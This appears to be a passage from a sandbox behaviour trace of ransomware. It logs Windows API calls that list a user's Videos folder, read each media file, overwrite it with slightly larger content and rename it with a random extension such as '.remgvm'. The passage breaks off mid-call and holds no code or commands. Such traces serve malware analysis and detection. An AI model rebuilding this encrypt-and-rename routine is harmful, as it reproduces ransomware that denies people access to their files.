lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4", lpFilePart=0x0) returned 0x22 [0158.655] SetErrorMode (uMode=0x1) returned 0x0 [0158.655] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4327a1d0, ftCreationTime.dwHighDateTime=0x1d8b868, ftLastAccessTime.dwLowDateTime=0xbe4335e0, ftLastAccessTime.dwHighDateTime=0x1d8bb16, ftLastWriteTime.dwLowDateTime=0xbe4335e0, ftLastWriteTime.dwHighDateTime=0x1d8bb16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0158.658] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4327a1d0, ftCreationTime.dwHighDateTime=0x1d8b868, ftLastAccessTime.dwLowDateTime=0xbe4335e0, ftLastAccessTime.dwHighDateTime=0x1d8bb16, ftLastWriteTime.dwLowDateTime=0xbe4335e0, ftLastWriteTime.dwHighDateTime=0x1d8bb16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.658] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6fb7940, ftCreationTime.dwHighDateTime=0x1d8c0bd, ftLastAccessTime.dwLowDateTime=0xfb413420, ftLastAccessTime.dwHighDateTime=0x1d8c0ce, ftLastWriteTime.dwLowDateTime=0xfb413420, ftLastWriteTime.dwHighDateTime=0x1d8c0ce, nFileSizeHigh=0x0, nFileSizeLow=0xd86a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bW2pQ10A3.mkv", cAlternateFileName="BW2PQ1~1.MKV")) returned 1 [0158.658] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7f27d10, ftCreationTime.dwHighDateTime=0x1d8b20f, ftLastAccessTime.dwLowDateTime=0x92169a70, ftLastAccessTime.dwHighDateTime=0x1d8b6cf, ftLastWriteTime.dwLowDateTime=0x92169a70, ftLastWriteTime.dwHighDateTime=0x1d8b6cf, nFileSizeHigh=0x0, nFileSizeLow=0x15d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="KCyuThRd7.avi", cAlternateFileName="KCYUTH~1.AVI")) returned 1 [0158.659] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efc4770, ftCreationTime.dwHighDateTime=0x1d8b906, ftLastAccessTime.dwLowDateTime=0x8aed1a0, ftLastAccessTime.dwHighDateTime=0x1d8be52, ftLastWriteTime.dwLowDateTime=0x8aed1a0, ftLastWriteTime.dwHighDateTime=0x1d8be52, nFileSizeHigh=0x0, nFileSizeLow=0x12d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="OScpcujUrV9u.avi", cAlternateFileName="OSCPCU~1.AVI")) returned 1 [0158.659] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2296d00, ftCreationTime.dwHighDateTime=0x1d8bd89, ftLastAccessTime.dwLowDateTime=0xf1f16cc0, ftLastAccessTime.dwHighDateTime=0x1d8beec, ftLastWriteTime.dwLowDateTime=0xf1f16cc0, ftLastWriteTime.dwHighDateTime=0x1d8beec, nFileSizeHigh=0x0, nFileSizeLow=0xb3a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeGUOr0tacgGG8R6Il.swf", cAlternateFileName="PEGUOR~1.SWF")) returned 1 [0158.659] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39898990, ftCreationTime.dwHighDateTime=0x1d8be6c, ftLastAccessTime.dwLowDateTime=0x13e5e5d0, ftLastAccessTime.dwHighDateTime=0x1d8bea3, ftLastWriteTime.dwLowDateTime=0x13e5e5d0, ftLastWriteTime.dwHighDateTime=0x1d8bea3, nFileSizeHigh=0x0, nFileSizeLow=0x10e7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tg9U9jjSqkvBNtKz.mp4", cAlternateFileName="TG9U9J~1.MP4")) returned 1 [0158.659] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd999a900, ftCreationTime.dwHighDateTime=0x1d8bdeb, ftLastAccessTime.dwLowDateTime=0xc7a8c570, ftLastAccessTime.dwHighDateTime=0x1d8bf38, ftLastWriteTime.dwLowDateTime=0xc7a8c570, ftLastWriteTime.dwHighDateTime=0x1d8bf38, nFileSizeHigh=0x0, nFileSizeLow=0xdd27, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBeK.swf", cAlternateFileName="")) returned 1 [0158.659] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfabda40, ftCreationTime.dwHighDateTime=0x1d8be35, ftLastAccessTime.dwLowDateTime=0x768f6420, ftLastAccessTime.dwHighDateTime=0x1d8bf4f, ftLastWriteTime.dwLowDateTime=0x768f6420, ftLastWriteTime.dwHighDateTime=0x1d8bf4f, nFileSizeHigh=0x0, nFileSizeLow=0x14033, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPAbK1nT32.swf", cAlternateFileName="VPABK1~1.SWF")) returned 1 [0158.659] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c1026a0, ftCreationTime.dwHighDateTime=0x1d8b2a8, ftLastAccessTime.dwLowDateTime=0xe247cd60, ftLastAccessTime.dwHighDateTime=0x1d8b6b2, ftLastWriteTime.dwLowDateTime=0xe247cd60, ftLastWriteTime.dwHighDateTime=0x1d8b6b2, nFileSizeHigh=0x0, nFileSizeLow=0x90f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="wZsgU0Z.swf", cAlternateFileName="")) returned 1 [0158.659] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c2713c0, ftCreationTime.dwHighDateTime=0x1d8b8f3, ftLastAccessTime.dwLowDateTime=0x431412c0, ftLastAccessTime.dwHighDateTime=0x1d8be5b, ftLastWriteTime.dwLowDateTime=0x431412c0, ftLastWriteTime.dwHighDateTime=0x1d8be5b, nFileSizeHigh=0x0, nFileSizeLow=0x10e29, dwReserved0=0x0, dwReserved1=0x0, cFileName="X7OTvBAgdZbJ.flv", cAlternateFileName="X7OTVB~1.FLV")) returned 1 [0158.659] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f3b77d0, ftCreationTime.dwHighDateTime=0x1d8b504, ftLastAccessTime.dwLowDateTime=0xad795e70, ftLastAccessTime.dwHighDateTime=0x1d8b9f8, ftLastWriteTime.dwLowDateTime=0xad795e70, ftLastWriteTime.dwHighDateTime=0x1d8b9f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xuKD9lnbmJOIcf", cAlternateFileName="XUKD9L~1")) returned 1 [0158.659] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6353d380, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0x258f7d50, ftLastAccessTime.dwHighDateTime=0x1d8c11e, ftLastWriteTime.dwLowDateTime=0x258f7d50, ftLastWriteTime.dwHighDateTime=0x1d8c11e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJQm10_Pj", cAlternateFileName="ZJQM10~1")) returned 1 [0158.660] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6353d380, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0x258f7d50, ftLastAccessTime.dwHighDateTime=0x1d8c11e, ftLastWriteTime.dwLowDateTime=0x258f7d50, ftLastWriteTime.dwHighDateTime=0x1d8c11e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJQm10_Pj", cAlternateFileName="ZJQM10~1")) returned 0 [0158.660] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0158.660] SetErrorMode (uMode=0x0) returned 0x1 [0158.660] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4", lpFilePart=0x0) returned 0x22 [0158.660] SetErrorMode (uMode=0x1) returned 0x0 [0158.661] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4327a1d0, ftCreationTime.dwHighDateTime=0x1d8b868, ftLastAccessTime.dwLowDateTime=0xbe4335e0, ftLastAccessTime.dwHighDateTime=0x1d8bb16, ftLastWriteTime.dwLowDateTime=0xbe4335e0, ftLastWriteTime.dwHighDateTime=0x1d8bb16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0158.661] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4327a1d0, ftCreationTime.dwHighDateTime=0x1d8b868, ftLastAccessTime.dwLowDateTime=0xbe4335e0, ftLastAccessTime.dwHighDateTime=0x1d8bb16, ftLastWriteTime.dwLowDateTime=0xbe4335e0, ftLastWriteTime.dwHighDateTime=0x1d8bb16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.661] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6fb7940, ftCreationTime.dwHighDateTime=0x1d8c0bd, ftLastAccessTime.dwLowDateTime=0xfb413420, ftLastAccessTime.dwHighDateTime=0x1d8c0ce, ftLastWriteTime.dwLowDateTime=0xfb413420, ftLastWriteTime.dwHighDateTime=0x1d8c0ce, nFileSizeHigh=0x0, nFileSizeLow=0xd86a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bW2pQ10A3.mkv", cAlternateFileName="BW2PQ1~1.MKV")) returned 1 [0158.661] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7f27d10, ftCreationTime.dwHighDateTime=0x1d8b20f, ftLastAccessTime.dwLowDateTime=0x92169a70, ftLastAccessTime.dwHighDateTime=0x1d8b6cf, ftLastWriteTime.dwLowDateTime=0x92169a70, ftLastWriteTime.dwHighDateTime=0x1d8b6cf, nFileSizeHigh=0x0, nFileSizeLow=0x15d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="KCyuThRd7.avi", cAlternateFileName="KCYUTH~1.AVI")) returned 1 [0158.661] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efc4770, ftCreationTime.dwHighDateTime=0x1d8b906, ftLastAccessTime.dwLowDateTime=0x8aed1a0, ftLastAccessTime.dwHighDateTime=0x1d8be52, ftLastWriteTime.dwLowDateTime=0x8aed1a0, ftLastWriteTime.dwHighDateTime=0x1d8be52, nFileSizeHigh=0x0, nFileSizeLow=0x12d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="OScpcujUrV9u.avi", cAlternateFileName="OSCPCU~1.AVI")) returned 1 [0158.661] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2296d00, ftCreationTime.dwHighDateTime=0x1d8bd89, ftLastAccessTime.dwLowDateTime=0xf1f16cc0, ftLastAccessTime.dwHighDateTime=0x1d8beec, ftLastWriteTime.dwLowDateTime=0xf1f16cc0, ftLastWriteTime.dwHighDateTime=0x1d8beec, nFileSizeHigh=0x0, nFileSizeLow=0xb3a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeGUOr0tacgGG8R6Il.swf", cAlternateFileName="PEGUOR~1.SWF")) returned 1 [0158.662] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39898990, ftCreationTime.dwHighDateTime=0x1d8be6c, ftLastAccessTime.dwLowDateTime=0x13e5e5d0, ftLastAccessTime.dwHighDateTime=0x1d8bea3, ftLastWriteTime.dwLowDateTime=0x13e5e5d0, ftLastWriteTime.dwHighDateTime=0x1d8bea3, nFileSizeHigh=0x0, nFileSizeLow=0x10e7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tg9U9jjSqkvBNtKz.mp4", cAlternateFileName="TG9U9J~1.MP4")) returned 1 [0158.662] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd999a900, ftCreationTime.dwHighDateTime=0x1d8bdeb, ftLastAccessTime.dwLowDateTime=0xc7a8c570, ftLastAccessTime.dwHighDateTime=0x1d8bf38, ftLastWriteTime.dwLowDateTime=0xc7a8c570, ftLastWriteTime.dwHighDateTime=0x1d8bf38, nFileSizeHigh=0x0, nFileSizeLow=0xdd27, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBeK.swf", cAlternateFileName="")) returned 1 [0158.662] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfabda40, ftCreationTime.dwHighDateTime=0x1d8be35, ftLastAccessTime.dwLowDateTime=0x768f6420, ftLastAccessTime.dwHighDateTime=0x1d8bf4f, ftLastWriteTime.dwLowDateTime=0x768f6420, ftLastWriteTime.dwHighDateTime=0x1d8bf4f, nFileSizeHigh=0x0, nFileSizeLow=0x14033, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPAbK1nT32.swf", cAlternateFileName="VPABK1~1.SWF")) returned 1 [0158.662] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c1026a0, ftCreationTime.dwHighDateTime=0x1d8b2a8, ftLastAccessTime.dwLowDateTime=0xe247cd60, ftLastAccessTime.dwHighDateTime=0x1d8b6b2, ftLastWriteTime.dwLowDateTime=0xe247cd60, ftLastWriteTime.dwHighDateTime=0x1d8b6b2, nFileSizeHigh=0x0, nFileSizeLow=0x90f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="wZsgU0Z.swf", cAlternateFileName="")) returned 1 [0158.662] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c2713c0, ftCreationTime.dwHighDateTime=0x1d8b8f3, ftLastAccessTime.dwLowDateTime=0x431412c0, ftLastAccessTime.dwHighDateTime=0x1d8be5b, ftLastWriteTime.dwLowDateTime=0x431412c0, ftLastWriteTime.dwHighDateTime=0x1d8be5b, nFileSizeHigh=0x0, nFileSizeLow=0x10e29, dwReserved0=0x0, dwReserved1=0x0, cFileName="X7OTvBAgdZbJ.flv", cAlternateFileName="X7OTVB~1.FLV")) returned 1 [0158.662] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f3b77d0, ftCreationTime.dwHighDateTime=0x1d8b504, ftLastAccessTime.dwLowDateTime=0xad795e70, ftLastAccessTime.dwHighDateTime=0x1d8b9f8, ftLastWriteTime.dwLowDateTime=0xad795e70, ftLastWriteTime.dwHighDateTime=0x1d8b9f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xuKD9lnbmJOIcf", cAlternateFileName="XUKD9L~1")) returned 1 [0158.662] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6353d380, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0x258f7d50, ftLastAccessTime.dwHighDateTime=0x1d8c11e, ftLastWriteTime.dwLowDateTime=0x258f7d50, ftLastWriteTime.dwHighDateTime=0x1d8c11e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJQm10_Pj", cAlternateFileName="ZJQM10~1")) returned 1 [0158.662] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6353d380, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0x258f7d50, ftLastAccessTime.dwHighDateTime=0x1d8c11e, ftLastWriteTime.dwLowDateTime=0x258f7d50, ftLastWriteTime.dwHighDateTime=0x1d8c11e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJQm10_Pj", cAlternateFileName="ZJQM10~1")) returned 0 [0158.662] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0158.663] SetErrorMode (uMode=0x0) returned 0x1 [0158.663] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi", lpFilePart=0x0) returned 0x30 [0158.663] SetErrorMode (uMode=0x1) returned 0x0 [0158.663] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\kcyuthrd7.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.664] GetFileType (hFile=0x1d0) returned 0x1 [0158.664] SetErrorMode (uMode=0x0) returned 0x1 [0158.664] GetFileType (hFile=0x1d0) returned 0x1 [0158.664] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x15d67 [0158.665] ReadFile (in: hFile=0x1d0, lpBuffer=0x1281c300, nNumberOfBytesToRead=0x15d67, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x1281c300*, lpNumberOfBytesRead=0x21d418*=0x15d67, lpOverlapped=0x0) returned 1 [0158.774] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi", lpFilePart=0x0) returned 0x30 [0158.774] SetErrorMode (uMode=0x1) returned 0x0 [0158.775] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\kcyuthrd7.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.777] GetFileType (hFile=0x1d0) returned 0x1 [0158.777] SetErrorMode (uMode=0x0) returned 0x1 [0158.777] GetFileType (hFile=0x1d0) returned 0x1 [0158.777] WriteFile (in: hFile=0x1d0, lpBuffer=0x128896a8*, nNumberOfBytesToWrite=0x15d70, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x128896a8*, lpNumberOfBytesWritten=0x21d498*=0x15d70, lpOverlapped=0x0) returned 1 [0158.781] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi", lpFilePart=0x0) returned 0x30 [0158.782] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi.remgvm", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi.remgvm", lpFilePart=0x0) returned 0x37 [0158.782] SetErrorMode (uMode=0x1) returned 0x0 [0158.782] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\kcyuthrd7.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7f27d10, ftCreationTime.dwHighDateTime=0x1d8b20f, ftLastAccessTime.dwLowDateTime=0x92169a70, ftLastAccessTime.dwHighDateTime=0x1d8b6cf, ftLastWriteTime.dwLowDateTime=0x5b1d3920, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x15d70)) returned 1 [0158.782] SetErrorMode (uMode=0x0) returned 0x1 [0158.782] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\kcyuthrd7.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\KCyuThRd7.avi.remgvm" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\kcyuthrd7.avi.remgvm")) returned 1 [0158.783] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi", lpFilePart=0x0) returned 0x33 [0158.783] SetErrorMode (uMode=0x1) returned 0x0 [0158.784] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\oscpcujurv9u.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.784] GetFileType (hFile=0x1d0) returned 0x1 [0158.784] SetErrorMode (uMode=0x0) returned 0x1 [0158.784] GetFileType (hFile=0x1d0) returned 0x1 [0158.784] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x12d35 [0158.784] ReadFile (in: hFile=0x1d0, lpBuffer=0x284ce18, nNumberOfBytesToRead=0x12d35, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x284ce18*, lpNumberOfBytesRead=0x21d418*=0x12d35, lpOverlapped=0x0) returned 1 [0158.811] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi", lpFilePart=0x0) returned 0x33 [0158.845] SetErrorMode (uMode=0x1) returned 0x0 [0158.845] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\oscpcujurv9u.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.848] GetFileType (hFile=0x1d0) returned 0x1 [0158.848] SetErrorMode (uMode=0x0) returned 0x1 [0158.848] GetFileType (hFile=0x1d0) returned 0x1 [0158.848] WriteFile (in: hFile=0x1d0, lpBuffer=0x2965400*, nNumberOfBytesToWrite=0x12d40, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2965400*, lpNumberOfBytesWritten=0x21d498*=0x12d40, lpOverlapped=0x0) returned 1 [0158.851] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi", lpFilePart=0x0) returned 0x33 [0158.852] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi.6lzous", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi.6lzous", lpFilePart=0x0) returned 0x3a [0158.852] SetErrorMode (uMode=0x1) returned 0x0 [0158.852] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\oscpcujurv9u.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efc4770, ftCreationTime.dwHighDateTime=0x1d8b906, ftLastAccessTime.dwLowDateTime=0x8aed1a0, ftLastAccessTime.dwHighDateTime=0x1d8be52, ftLastWriteTime.dwLowDateTime=0x5b26bea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x12d40)) returned 1 [0158.852] SetErrorMode (uMode=0x0) returned 0x1 [0158.852] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\oscpcujurv9u.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\OScpcujUrV9u.avi.6lzous" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\oscpcujurv9u.avi.6lzous")) returned 1 [0158.854] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4", lpFilePart=0x0) returned 0x37 [0158.854] SetErrorMode (uMode=0x1) returned 0x0 [0158.854] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4" (normalized: 